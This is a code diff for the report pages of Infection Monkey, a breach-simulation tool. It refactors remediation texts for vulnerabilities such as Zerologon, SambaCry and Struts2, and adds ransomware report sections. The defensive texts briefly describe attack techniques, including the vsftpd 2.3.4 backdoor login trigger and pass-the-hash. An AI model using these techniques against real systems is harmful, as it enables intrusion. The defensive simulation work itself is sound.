+ {Pluralize('machine', this.state.report.glance.exploited_cnt)}:
+
+
@@ -558,578 +601,17 @@ class ReportPageComponent extends AuthComponent {
);
}
- generateInfoBadges(data_array) {
- return data_array.map(badge_data =>
{badge_data} );
- }
-
- generateCrossSegmentIssue(crossSegmentIssue) {
- let crossSegmentIssueOverview = 'Communication possible from '
- + `${crossSegmentIssue['source_subnet']} to ${crossSegmentIssue['target_subnet']}`;
-
- return (
-
- {crossSegmentIssueOverview}
-
-
- {crossSegmentIssue['issues'].map(
- issue => this.generateCrossSegmentIssueListItem(issue)
- )}
-
-
-
- );
- }
-
- generateCrossSegmentIssueListItem(issue) {
- if (issue['is_self']) {
- return this.generateCrossSegmentSingleHostMessage(issue);
- }
-
- return this.generateCrossSegmentMultiHostMessage(issue);
- }
-
- generateCrossSegmentSingleHostMessage(issue) {
- return (
-
- {`Machine ${issue['hostname']} has both ips: ${issue['source']} and ${issue['target']}`}
-
- );
- }
-
- generateCrossSegmentMultiHostMessage(issue) {
- return (
-
- IP {issue['source']} ({issue['hostname']}) was able to communicate with
- IP {issue['target']} using:
-
- {issue['icmp'] && ICMP }
- {this.generateCrossSegmentServiceListItems(issue)}
-
-
- );
- }
-
- generateCrossSegmentServiceListItems(issue) {
- let service_list_items = [];
-
- for (const [service, info] of Object.entries(issue['services'])) {
- service_list_items.push(
-
- {service} ({info['display_name']})
-
- );
- }
-
- return service_list_items;
- }
-
- generateShellshockPathListBadges(paths) {
- return paths.map(path =>
{path} );
- }
-
- generateSmbPasswordIssue(issue) {
- return (
- <>
- Change
{issue.username} 's password to a complex one-use password
- that is not shared with other computers on the network.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SMB attack.
-
- The Monkey authenticated over the SMB protocol with user {issue.username} and its password.
-
- >
- );
- }
-
- generateSmbPthIssue(issue) {
- return (
- <>
- Change
{issue.username} 's password to a complex one-use password
- that is not shared with other computers on the network.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SMB attack.
-
- The Monkey used a pass-the-hash attack over SMB protocol with user {issue.username} .
-
- >
- );
- }
-
- generateWmiPasswordIssue(issue) {
- return (
- <>
- Change
{issue.username} 's password to a complex one-use password
- that is not shared with other computers on the network.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a WMI attack.
-
- The Monkey authenticated over the WMI protocol with user {issue.username} and its password.
-
- >
- );
- }
-
- generateWmiPthIssue(issue) {
- return (
- <>
- Change
{issue.username} 's password to a complex one-use password
- that is not shared with other computers on the network.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a WMI attack.
-
- The Monkey used a pass-the-hash attack over WMI protocol with user {issue.username} .
-
- >
- );
- }
-
- generateSshIssue(issue) {
- return (
- <>
- Change
{issue.username} 's password to a complex one-use password
- that is not shared with other computers on the network.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SSH attack.
-
- The Monkey authenticated over the SSH protocol with user {issue.username} and its password.
-
- >
- );
- }
-
- generateSshKeysIssue(issue) {
- return (
- <>
- Protect
{issue.ssh_key} private key with a pass phrase.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SSH attack.
-
- The Monkey authenticated over the SSH protocol with private key {issue.ssh_key} .
-
- >
- );
- }
-
-
- generateSambaCryIssue(issue) {
- return (
- <>
- Change
{issue.username} 's password to a complex one-use password
- that is not shared with other computers on the network.
-
- Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a SambaCry attack.
-
- The Monkey authenticated over the SMB protocol with user {issue.username} and its password, and used the SambaCry
- vulnerability.
-
- >
- );
- }
-
- generateVsftpdBackdoorIssue(issue) {
- return (
- <>
- Update your VSFTPD server to the latest version vsftpd-3.0.3.
-
- The machine {issue.machine} ({issue.ip_address} ) has a backdoor running at
- port 6200 .
-
- The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
- In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been
- compromised.
- Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a
- command
- shell on port 6200.
-
- The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the
- backdoor
- at port 6200.
- Read more about the security issue and remediation here .
-
- >
- );
- }
-
- generateElasticIssue(issue) {
- return (
- <>
- Update your Elastic Search server to version 1.4.3 and up.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to an Elastic Groovy attack.
-
- The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.
-
- >
- );
- }
-
- generateShellshockIssue(issue) {
- return (
- <>
- Update your Bash to a ShellShock-patched version.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a ShellShock attack.
-
- The attack was made possible because the HTTP server running on TCP port {issue.port} was vulnerable to a shell injection attack on the
- paths: {this.generateShellshockPathListBadges(issue.paths)}.
-
- >
- );
- }
-
- generateAzureIssue(issue) {
- return (
- <>
- Delete VM Access plugin configuration files.
-
- Credentials could be stolen from {issue.machine} for the following users {issue.users} . Read more about the security issue and remediation here .
-
- >
- );
- }
-
- generateConfickerIssue(issue) {
- return (
- <>
- Install the latest Windows updates or upgrade to a newer operating system.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a Conficker attack.
-
- The attack was made possible because the target machine used an outdated and unpatched operating system
- vulnerable to Conficker.
-
- >
- );
- }
-
- generateIslandCrossSegmentIssue(issue) {
- return (
- <>
- Segment your network and make sure there is no communication between machines from different segments.
-
- The network can probably be segmented. A monkey instance on {issue.machine} in the
- networks {this.generateInfoBadges(issue.networks)}
- could directly access the Monkey Island server in the
- networks {this.generateInfoBadges(issue.server_networks)}.
-
- >
- );
- }
-
- generateSharedCredsDomainIssue(issue) {
- return (
- <>
- Some domain users are sharing passwords, this should be fixed by changing passwords.
-
- These users are sharing access password:
- {this.generateInfoBadges(issue.shared_with)}.
-
- >
- );
- }
-
- generateSharedCredsIssue(issue) {
- return (
- <>
- Some users are sharing passwords, this should be fixed by changing passwords.
-
- These users are sharing access password:
- {this.generateInfoBadges(issue.shared_with)}.
-
- >
- );
- }
-
- generateSharedLocalAdminsIssue(issue) {
- return (
- <>
- Make sure the right administrator accounts are managing the right machines, and that there isn’t an
- unintentional local
- admin sharing.
-
- Here is a list of machines which the account {issue.username} is defined as an administrator:
- {this.generateInfoBadges(issue.shared_machines)}
-
- >
- );
- }
-
- generateStrongUsersOnCritIssue(issue) {
- return (
- <>
- This critical machine is open to attacks via strong users with access to it.
-
- The services: {this.generateInfoBadges(issue.services)} have been found on the machine
- thus classifying it as a critical machine.
- These users has access to it:
- {this.generateInfoBadges(issue.threatening_users)}.
-
- >
- );
- }
-
- generateTunnelIssue(issue) {
- return (
- <>
- Use micro-segmentation policies to disable communication other than the required.
-
- Machines are not locked down at port level. Network tunnel was set up from {issue.machine} to {issue.dest} .
-
- >
- );
- }
-
- generateStruts2Issue(issue) {
- return (
- <>
- Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.
-
- Struts2 server at {issue.machine} ({issue.ip_address} ) is vulnerable to remote code execution attack.
-
- The attack was made possible because the server is using an old version of Jakarta based file upload
- Multipart parser. For possible work-arounds and more info read here .
-
- >
- );
- }
-
- generateDrupalIssue(issue) {
- return (
- <>
- Upgrade Drupal server to versions 8.5.11, 8.6.10, or later.
-
- Drupal server at {issue.machine} ({issue.ip_address} ) is vulnerable to remote command execution attack.
-
- The attack was made possible because the server is using an old version of Drupal, for which REST API is
- enabled. For possible workarounds, fixes and more info read
- here .
-
- >
- );
- }
-
- generateWebLogicIssue(issue) {
- return (
- <>
- Update Oracle WebLogic server to the latest supported version.
-
- Oracle WebLogic server at {issue.machine} ({issue.ip_address} ) is vulnerable to one of remote code execution attacks.
-
- The attack was made possible due to one of the following vulnerabilities:
- CVE-2017-10271 or
- CVE-2019-2725
-
- >
- );
- }
-
- generateHadoopIssue(issue) {
- return (
- <>
- Run Hadoop in secure mode (
- add Kerberos authentication ).
-
- The Hadoop server at {issue.machine} ({issue.ip_address} ) is vulnerable to remote code execution attack.
-
- The attack was made possible due to default Hadoop/Yarn configuration being insecure.
-
- >
- );
- }
-
- generateMSSQLIssue(issue) {
- return (
- <>
- Disable the xp_cmdshell option.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a MSSQL exploit attack .
-
- The attack was made possible because the target machine used an outdated MSSQL server configuration allowing
- the usage of the xp_cmdshell command. To learn more about how to disable this feature, read
-
- Microsoft's documentation
- .
-
- >
- );
- }
-
- generateZerologonIssue(issue) {
- return (
- <>
- Install Windows security updates.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a Zerologon exploit .
-
- The attack was possible because the latest security updates from Microsoft
- have not been applied to this machine. For more information about this
- vulnerability, read
-
- Microsoft's documentation
- .
- {!issue.password_restored &&
-
-
-
- The domain controller's password was changed during the exploit and could not be restored successfully.
- Instructions on how to manually reset the domain controller's password can be found
-
- here
- .
-
-
}
-
- >
- );
- }
-
generateIssue = (issue) => {
- let issueData;
- switch (issue.type) {
- case 'vsftp':
- issueData = this.generateVsftpdBackdoorIssue(issue);
- break;
- case 'smb_password':
- issueData = this.generateSmbPasswordIssue(issue);
- break;
- case 'smb_pth':
- issueData = this.generateSmbPthIssue(issue);
- break;
- case 'wmi_password':
- issueData = this.generateWmiPasswordIssue(issue);
- break;
- case 'wmi_pth':
- issueData = this.generateWmiPthIssue(issue);
- break;
- case 'ssh':
- issueData = this.generateSshIssue(issue);
- break;
- case 'ssh_key':
- issueData = this.generateSshKeysIssue(issue);
- break;
- case 'sambacry':
- issueData = this.generateSambaCryIssue(issue);
- break;
- case 'elastic':
- issueData = this.generateElasticIssue(issue);
- break;
- case 'shellshock':
- issueData = this.generateShellshockIssue(issue);
- break;
- case 'conficker':
- issueData = this.generateConfickerIssue(issue);
- break;
- case 'island_cross_segment':
- issueData = this.generateIslandCrossSegmentIssue(issue);
- break;
- case 'shared_passwords':
- issueData = this.generateSharedCredsIssue(issue);
- break;
- case 'shared_passwords_domain':
- issueData = this.generateSharedCredsDomainIssue(issue);
- break;
- case 'shared_admins_domain':
- issueData = this.generateSharedLocalAdminsIssue(issue);
- break;
- case 'strong_users_on_crit':
- issueData = this.generateStrongUsersOnCritIssue(issue);
- break;
- case 'tunnel':
- issueData = this.generateTunnelIssue(issue);
- break;
- case 'azure_password':
- issueData = this.generateAzureIssue(issue);
- break;
- case 'struts2':
- issueData = this.generateStruts2Issue(issue);
- break;
- case 'weblogic':
- issueData = this.generateWebLogicIssue(issue);
- break;
- case 'hadoop':
- issueData = this.generateHadoopIssue(issue);
- break;
- case 'mssql':
- issueData = this.generateMSSQLIssue(issue);
- break;
- case 'drupal':
- issueData = this.generateDrupalIssue(issue);
- break;
- case 'zerologon':
- issueData = this.generateZerologonIssue(issue);
- break;
+ let issueDescriptor = this.IssueDescriptorEnum[issue.type];
+
+ let reportFnc = {};
+ if (Object.prototype.hasOwnProperty.call(issue, 'credential_type') && issue.credential_type !== null) {
+ reportFnc = issueDescriptor[this.issueContentTypes.REPORT][issue.credential_type];
+ } else {
+ reportFnc = issueDescriptor[this.issueContentTypes.REPORT];
}
- return
{issueData} ;
+ let reportContents = reportFnc(issue);
+ return
{reportContents} ;
};
generateIssues = (issues) => {
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderArrays.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderArrays.js
index 7bbef33bc..692484f27 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderArrays.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/RenderArrays.js
@@ -1,8 +1,36 @@
import React from 'react';
-export let renderArray = function (val) {
- return <>{val.map(x =>
{x}
)}>;
+export let renderArray = function (val, className='') {
+ return <>{val.map(x =>
{x}
)}>;
};
export let renderIpAddresses = function (val) {
- return
{renderArray(val.ip_addresses)} {(val.domain_name ? ' ('.concat(val.domain_name, ')') : '')}
;
+ return
+ {renderArray(val.ip_addresses, 'ip-address')} {(val.domain_name ? ' ('.concat(val.domain_name, ')') : '')}
+
;
};
+
+export let renderLimitedArray = function (array,
+ limit,
+ className='',
+ separator=',') {
+ let elements = [];
+ if(array.length < limit){
+ limit = array.length;
+ }
+ for(let i = 0; i < limit; i++){
+ let element = '';
+ if(i !== 0) {
+ element = (<>{separator} {array[i]}>);
+ } else {
+ element = (<>{array[i]}>);
+ }
+ elements.push(
{element}
);
+ }
+ let remainder = array.length - limit;
+ if(remainder > 0){
+ elements.push(
+ and {remainder} more
+
);
+ }
+ return elements
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js
index d942a53e2..6e7c25d2e 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js
@@ -8,6 +8,7 @@ export const ReportTypes = {
zeroTrust: 'Zero Trust',
security: 'Security',
attack: 'ATT&CK',
+ ransomware: 'Ransomware',
null: ''
};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx
new file mode 100644
index 000000000..69dc76c08
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/AttackSection.tsx
@@ -0,0 +1,102 @@
+import React, {ReactElement, ReactFragment, useEffect, useState} from 'react';
+import IslandHttpClient from '../../IslandHttpClient';
+import {FileEncryptionTable, TableRow} from './FileEncryptionTable';
+import NumberedReportSection from './NumberedReportSection';
+import LoadingIcon from '../../ui-components/LoadingIcon';
+
+const ATTACK_DESCRIPTION = 'After the attacker or malware has propagated through your network, \
+ your data is at risk on any machine the attacker can access. It can be \
+ encrypted and held for ransomware, exfiltrated, or manipulated in \
+ whatever way the attacker chooses.'
+const HOSTNAME_REGEX = /^(.* - )?(\S+) :.*$/;
+
+function AttackSection(): ReactElement {
+ const [tableData, setTableData] = useState(null);
+
+ useEffect(() => {
+ IslandHttpClient.get('/api/telemetry?telem_category=file_encryption')
+ .then(resp => setTableData(processTelemetry(resp.body)));
+ }, []);
+
+
+ if (tableData == null) {
+ return
+ }
+
+ return (
+
+ );
+}
+
+function getBody(tableData): ReactFragment {
+ return (
+ <>
+
Infection Monkey has encrypted {tableData.length} files on your network.
+ {(tableData.length > 0) &&
}
+ >
+ );
+}
+
+function processTelemetry(telemetry): Array
{
+ // Sort ascending so that newer telemetry records overwrite older ones.
+ sortTelemetry(telemetry);
+
+ let latestTelemetry = getLatestTelemetry(telemetry);
+ let tableData = getDataForTable(latestTelemetry);
+
+ return tableData;
+}
+
+function sortTelemetry(telemetry): void {
+ telemetry.objects.sort((a, b) => {
+ if (a.timestamp > b.timestamp) {
+ return 1;
+ } else if (a.timestamp < b.timestamp) {
+ return -1;
+ }
+
+ return 0;
+ });
+}
+
+function getLatestTelemetry(telemetry) {
+ let latestTelemetry = {};
+ for (let i = 0; i < telemetry.objects.length; i++) {
+ let monkey = telemetry.objects[i].monkey
+
+ if (! (monkey in latestTelemetry)) {
+ latestTelemetry[monkey] = {};
+ }
+
+ telemetry.objects[i].data.files.forEach((file_encryption_telemetry) => {
+ latestTelemetry[monkey][file_encryption_telemetry.path] = file_encryption_telemetry.success
+ });
+ }
+
+ return latestTelemetry;
+}
+
+function getDataForTable(telemetry): Array {
+ let tableData = [];
+
+ for (const monkey in telemetry) {
+ for (const path in telemetry[monkey]) {
+ if (telemetry[monkey][path]) {
+ tableData.push({'hostname': parseHostname(monkey), 'file_path': path});
+ }
+ }
+ }
+
+ return tableData;
+}
+
+function parseHostname(monkey: string): string {
+ return monkey.match(HOSTNAME_REGEX)[2];
+}
+
+export default AttackSection;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx
new file mode 100644
index 000000000..1c2b71d99
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/BreachSection.tsx
@@ -0,0 +1,49 @@
+import React, {useEffect, useState} from 'react';
+import IslandHttpClient from '../../IslandHttpClient';
+import NumberedReportSection from './NumberedReportSection';
+import LoadingIcon from '../../ui-components/LoadingIcon';
+import {renderLimitedArray} from '../common/RenderArrays';
+
+function BreachSection() {
+ const [machines, setMachines] = useState(null);
+ let description = 'Ransomware attacks start after machines in the internal network get compromised. ' +
+ 'The initial compromise was simulated by running Monkey Agents manually.';
+
+ useEffect(() => {
+ IslandHttpClient.get('/api/exploitations/manual')
+ .then(resp => setMachines(resp.body['manual_exploitations']));
+ }, []);
+
+ if(machines !== null){
+ let body = getBreachSectionBody(machines);
+ return ()
+ } else {
+ return
+ }
+}
+
+function getBreachSectionBody(machines) {
+ let machineList = [];
+ for(let i = 0; i < machines.length; i++){
+ machineList.push(getMachine(machines[i]));
+ }
+ return (
+
+
Ransomware attack started from these machines on the network:
+
+
+ )
+ }
+
+function getMachine(machine) {
+ return (
+
+ {machine['hostname']}
+ ({renderLimitedArray(machine['ip_addresses'], 2, 'ip-address')}) at {machine['start_time']}
+
+ )
+}
+
+export default BreachSection;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx
new file mode 100644
index 000000000..0b4406ab6
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/FileEncryptionTable.tsx
@@ -0,0 +1,45 @@
+import React from 'react';
+import ReactTable from 'react-table';
+
+
+type TableRow = {
+ hostname: string,
+ file_path: number,
+}
+
+const PAGE_SIZE = 10;
+const columns = [
+ {
+ Header: 'Encrypted Files',
+ columns: [
+ {Header: 'Host', id: 'host', accessor: x => x.hostname},
+ {Header: 'File Path', id: 'file_path', accessor: x => x.file_path},
+ {Header: 'Encryption Algorithm',
+ id: 'encryption_algorithm',
+ accessor: () => {return 'Bit Flip'}}
+ ]
+ }
+];
+
+const FileEncryptionTable = ({tableData}: {tableData: Array}) => {
+ let defaultPageSize = tableData.length > PAGE_SIZE ? PAGE_SIZE : tableData.length;
+ let showPagination = tableData.length > PAGE_SIZE;
+
+ return (
+ <>
+
+ File encryption
+
+
+
+
+ >
+ );
+}
+
+export {FileEncryptionTable, TableRow};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx
new file mode 100644
index 000000000..a5f76f722
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/LateralMovement.tsx
@@ -0,0 +1,71 @@
+import React, {ReactElement} from 'react';
+import NumberedReportSection from './NumberedReportSection';
+import pluralize from 'pluralize'
+import BreachedServersComponent from '../security/BreachedServers';
+
+const LATERAL_MOVEMENT_DESCRIPTION = 'After the initial breach, the attacker will begin the Lateral \
+ Movement phase of the attack. They will employ various \
+ techniques in order to compromise other systems in your \
+ network. \
+ \
+ \
+ \
+ See some real-world examples on Guardicore\'s blog. \
+ '
+
+type PropagationStats = {
+ num_scanned_nodes: number,
+ num_exploited_nodes: number,
+ num_exploited_per_exploit: Array,
+}
+
+function LateralMovement({propagationStats}: {propagationStats: PropagationStats}): ReactElement {
+ let body = (
+ <>
+ {getScannedVsExploitedStats(propagationStats.num_scanned_nodes, propagationStats.num_exploited_nodes)}
+ {getExploitationStatsPerExploit(propagationStats.num_exploited_per_exploit)}
+
+
+ >
+ )
+
+ return (
+
+ );
+}
+
+function getScannedVsExploitedStats(num_scanned_nodes: number, num_exploited_nodes: number): ReactElement {
+ return(
+
+ The Monkey discovered {num_scanned_nodes} machines
+ and successfully breached {num_exploited_nodes} of them.
+
+ );
+}
+
+function getExploitationStatsPerExploit(num_exploited_per_exploit: Array): Array {
+ let exploitation_details = [];
+
+ for (let exploit in num_exploited_per_exploit) {
+ let count = num_exploited_per_exploit[exploit];
+ exploitation_details.push(
+
+ {count}
+ {pluralize('machine', count)} {pluralize('was', count)} exploited by the
+ {exploit} .
+
+ );
+ }
+
+ return exploitation_details;
+}
+
+export default LateralMovement;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/NumberedReportSection.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/NumberedReportSection.tsx
new file mode 100644
index 000000000..c0876137b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/ransomware/NumberedReportSection.tsx
@@ -0,0 +1,39 @@
+import React, {ReactFragment, ReactElement} from 'react';
+import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
+import {faInfoCircle} from '@fortawesome/free-solid-svg-icons';
+
+type Props = {
+ index: number,
+ title: string,
+ description: string,
+ body: ReactFragment
+}
+
+function NumberedReportSection(props: Props): ReactElement {
+ return (
+
+ )
+}
+
+function Header({index, title}: {index: number, title: string}): ReactElement {
+ return (
+ {index}. {title}
+ )
+}
+
+function Description({text}: {text: string}): ReactElement {
+ return (
+
+
+
+
+ )
+}
+
+export default NumberedReportSection;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
deleted file mode 100644
index 827549c1a..000000000
--- a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.js
+++ /dev/null
@@ -1,50 +0,0 @@
-import React from 'react';
-import ReactTable from 'react-table';
-import Pluralize from 'pluralize';
-import {renderArray, renderIpAddresses} from '../common/RenderArrays';
-
-
-const columns = [
- {
- Header: 'Breached Servers',
- columns: [
- {Header: 'Machine', accessor: 'label'},
- {
- Header: 'IP Addresses', id: 'ip_addresses',
- accessor: x => renderIpAddresses(x)
- },
- {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}
- ]
- }
-];
-
-const pageSize = 10;
-
-class BreachedServersComponent extends React.Component {
- constructor(props) {
- super(props);
- }
-
- render() {
- let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length;
- let showPagination = this.props.data.length > pageSize;
- return (
- <>
-
- The Monkey successfully breached {this.props.data.length} {Pluralize('machine', this.props.data.length)}:
-
-
-
-
- >
- );
- }
-}
-
-export default BreachedServersComponent;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.tsx b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.tsx
new file mode 100644
index 000000000..d9145242e
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/BreachedServers.tsx
@@ -0,0 +1,54 @@
+import React, {useEffect, useState} from 'react';
+import ReactTable from 'react-table';
+import {renderArray, renderIpAddresses} from '../common/RenderArrays';
+import LoadingIcon from '../../ui-components/LoadingIcon';
+import IslandHttpClient from '../../IslandHttpClient';
+
+
+const columns = [
+ {
+ Header: 'Breached Servers',
+ columns: [
+ {Header: 'Machine', accessor: 'label'},
+ {
+ Header: 'IP Addresses', id: 'ip_addresses',
+ accessor: x => renderIpAddresses(x)
+ },
+ {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}
+ ]
+ }
+];
+
+const pageSize = 10;
+
+function BreachedServersComponent() {
+
+ const [exploitations, setExploitations] = useState(null);
+
+ useEffect(() => {
+ IslandHttpClient.get('/api/exploitations/monkey')
+ .then(res => setExploitations(res.body['monkey_exploitations']))
+ }, []);
+
+ if(exploitations === null){
+ return
+ }
+
+ let defaultPageSize = exploitations.length > pageSize ? pageSize : exploitations.length;
+ let showPagination = exploitations.length > pageSize;
+ return (
+ <>
+
+
+
+ >
+ );
+
+}
+
+export default BreachedServersComponent;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js
new file mode 100644
index 000000000..78afa599b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/AzurePasswordIssue.js
@@ -0,0 +1,23 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function azurePasswordIssueOverview() {
+ return (Azure machines expose plaintext passwords. (More info ) )
+}
+
+export function azurePasswordIssueReport(issue) {
+ return (
+ <>
+ Delete VM Access plugin configuration files.
+
+ Credentials could be stolen from {issue.machine} for the following users {issue.users} . Read more about the security issue and remediation here .
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js
new file mode 100644
index 000000000..6c1ece1ea
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CrossSegmentIssue.js
@@ -0,0 +1,84 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+import {generateInfoBadges} from './utils';
+
+export function crossSegmentIssueOverview() {
+ return (Weak segmentation - Machines from
+ different segments are able to communicate. )
+}
+
+export function crossSegmentIssueReport(crossSegmentIssue) {
+ let crossSegmentIssueOverview = 'Communication possible from '
+ + `${crossSegmentIssue['source_subnet']} to ${crossSegmentIssue['target_subnet']}`;
+
+ return (
+
+ {crossSegmentIssueOverview}
+
+
+ {crossSegmentIssue['issues'].map(
+ issue => getCrossSegmentIssueListItem(issue)
+ )}
+
+
+
+ );
+ }
+
+export function getCrossSegmentIssueListItem(issue) {
+ if (issue['is_self']) {
+ return getCrossSegmentSingleHostMessage(issue);
+ }
+
+ return getCrossSegmentMultiHostMessage(issue);
+ }
+
+export function getCrossSegmentSingleHostMessage(issue) {
+ return (
+
+ {`Machine ${issue['hostname']} has both ips: ${issue['source']} and ${issue['target']}`}
+
+ );
+ }
+
+export function getCrossSegmentMultiHostMessage(issue) {
+ return (
+
+ IP {issue['source']} ({issue['hostname']}) was able to communicate with
+ IP {issue['target']} using:
+
+ {issue['icmp'] && ICMP }
+ {getCrossSegmentServiceListItems(issue)}
+
+
+ );
+ }
+
+export function getCrossSegmentServiceListItems(issue) {
+ let service_list_items = [];
+
+ for (const [service, info] of Object.entries(issue['services'])) {
+ service_list_items.push(
+
+ {service} ({info['display_name']})
+
+ );
+ }
+
+ return service_list_items;
+ }
+
+export function islandCrossSegmentIssueReport(issue) {
+ return (
+ <>
+ Segment your network and make sure there is no communication between machines from different segments.
+
+ The network can probably be segmented. A monkey instance on {issue.machine} in the
+ networks {generateInfoBadges(issue.networks)}
+ could directly access the Monkey Island server in the
+ networks {generateInfoBadges(issue.server_networks)}.
+
+ >
+ );
+ }
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js
new file mode 100644
index 000000000..d5cc068bb
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js
@@ -0,0 +1,24 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function drupalIssueOverview() {
+ return (Drupal server/s are vulnerable to CVE-2019-6340 . )
+}
+
+export function drupalIssueReport(issue) {
+ return (
+ <>
+ Upgrade Drupal server to versions 8.5.11, 8.6.10, or later.
+
+ Drupal server at {issue.machine} ({issue.ip_address} ) is vulnerable to remote command execution attack.
+
+ The attack was made possible because the server is using an old version of Drupal, for which REST API is
+ enabled. For possible workarounds, fixes and more info read
+ here .
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js
new file mode 100644
index 000000000..4d389bf2b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js
@@ -0,0 +1,23 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function elasticIssueOverview() {
+ return (Elasticsearch servers are vulnerable to CVE-2015-1427 .
+ )
+}
+
+export function elasticIssueReport(issue) {
+ return (
+ <>
+ Update your Elastic Search server to version 1.4.3 and up.
+
+ The machine {issue.machine} ({issue.ip_address} ) is vulnerable to an Elastic Groovy attack.
+
+ The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js
new file mode 100644
index 000000000..ff126ef8a
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/HadoopIssue.js
@@ -0,0 +1,23 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function hadoopIssueOverview() {
+ return (Hadoop/Yarn servers are vulnerable to remote code execution. )
+}
+
+export function hadoopIssueReport(issue) {
+ return (
+ <>
+ Run Hadoop in secure mode (
+ add Kerberos authentication ).
+
+ The Hadoop server at {issue.machine} ({issue.ip_address} ) is vulnerable to remote code execution attack.
+
+ The attack was made possible due to default Hadoop/Yarn configuration being insecure.
+
+ >
+ );
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js
new file mode 100644
index 000000000..2a831a093
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js
@@ -0,0 +1,24 @@
+import React from 'react';
+import CollapsibleWellComponent from '../CollapsibleWell';
+
+export function ms08_067IssueOverview() {
+ return (Machines are vulnerable to ‘Conficker’ (MS08-067 ). )
+}
